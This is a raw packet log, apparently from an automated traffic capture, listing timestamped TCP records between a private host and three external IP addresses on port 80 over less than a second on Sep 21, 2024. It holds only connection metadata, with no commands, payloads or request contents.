Sep 21, 2024 13:33:41.190690041 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.190690994 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.191020012 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.192723989 CEST	80	49716	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.192831993 CEST	49716	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.192981958 CEST	80	49716	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.193320990 CEST	49716	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.193320990 CEST	49716	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.193551064 CEST	49720	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.198097944 CEST	80	49716	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.198369980 CEST	80	49720	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.198447943 CEST	49720	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.198754072 CEST	49720	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.202763081 CEST	80	49717	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.202878952 CEST	49717	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.203018904 CEST	49717	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.203177929 CEST	80	49717	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.203224897 CEST	49717	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.203352928 CEST	49721	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.203608990 CEST	80	49720	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.207772970 CEST	80	49717	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.208134890 CEST	80	49721	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.208211899 CEST	49721	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.208450079 CEST	49721	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:41.213391066 CEST	80	49721	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:41.233870983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.233890057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.233905077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.233971119 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.233987093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.234028101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.234029055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.272481918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272525072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272542953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272558928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272576094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272598982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272622108 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.272622108 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.272670984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272699118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272713900 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.272713900 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.272715092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272733927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.272758007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.272758007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.272775888 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.272893906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273014069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273051023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273066044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273082018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273097038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273113012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273113966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273113966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273130894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273164034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273164034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273200035 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273201942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273219109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273251057 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273261070 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273370028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273386002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273401022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273416996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273417950 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273432016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273433924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273451090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273466110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273466110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273468018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273479939 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273484945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273500919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273500919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273516893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273519993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273530006 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273536921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.273555040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273555040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273587942 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.273991108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274007082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274022102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274035931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274044037 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274063110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274070024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274080992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274096966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274101019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274112940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274127960 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274127960 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274128914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274158955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274158955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274210930 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274370909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274386883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274404049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274419069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274434090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274434090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274463892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274463892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274549961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274565935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274580956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274595976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274614096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274622917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274622917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274631023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274652958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274658918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274665117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274671078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274671078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274671078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274677038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274694920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274710894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.274733067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274733067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.274754047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275491953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275507927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275522947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275537968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275544882 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275553942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275568962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275569916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275584936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275599957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275612116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275612116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275615931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275630951 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275645971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275660992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275677919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275677919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275679111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275690079 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275705099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275712013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275717974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275721073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275724888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275731087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275736094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.275753975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.275780916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.276449919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.276468039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.276483059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.276511908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.276560068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.276585102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.276644945 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.276770115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.276787043 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.276802063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.276823044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.276849031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.277034998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.277053118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.277108908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.277108908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.277183056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.277319908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.277368069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.277368069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.277460098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.277575016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.277601957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.277728081 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.277766943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.277827978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.277926922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.277942896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.278008938 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.278008938 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.278065920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.278126001 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.278202057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.278357983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.279730082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.279747009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.279762030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.279776096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.279794931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.279800892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.279800892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.279803038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.279804945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.279814005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.279839993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.279855013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.279855013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.279891014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.293134928 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.293207884 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.293427944 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.296865940 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.296930075 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.297193050 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.298223019 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.302589893 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.320867062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.320893049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.320909977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.321016073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.321068048 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.321240902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.321257114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.321273088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.321288109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.321294069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.321294069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.321332932 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.321332932 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.321465015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.321923018 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359132051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359186888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359201908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359287977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359333992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359349012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359363079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359371901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359373093 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359380960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359410048 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359442949 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359464884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359505892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359525919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359541893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359556913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359570026 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359580040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359744072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359756947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359759092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359775066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359824896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359824896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359914064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359934092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359949112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359962940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359977961 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359977961 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.359980106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.359994888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360011101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360030890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360030890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360069036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360239983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360260963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360275030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360290051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360297918 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360297918 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360307932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360321999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360330105 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360330105 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360337019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360352039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360362053 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360362053 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360367060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360403061 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360403061 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360692024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360707045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360722065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360737085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360750914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360755920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360755920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360836983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.360908985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.360994101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361013889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361030102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361043930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361069918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361071110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361071110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361084938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361098051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361113071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361125946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361125946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361129045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361144066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361145973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361159086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361175060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361191034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361193895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361193895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361212969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361242056 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361242056 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361354113 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361623049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361638069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361651897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361665964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361681938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361694098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361694098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361697912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361712933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361745119 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361745119 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.361752033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.361768007 CEST	80	49710	103.130.147.211	192.168.2.9
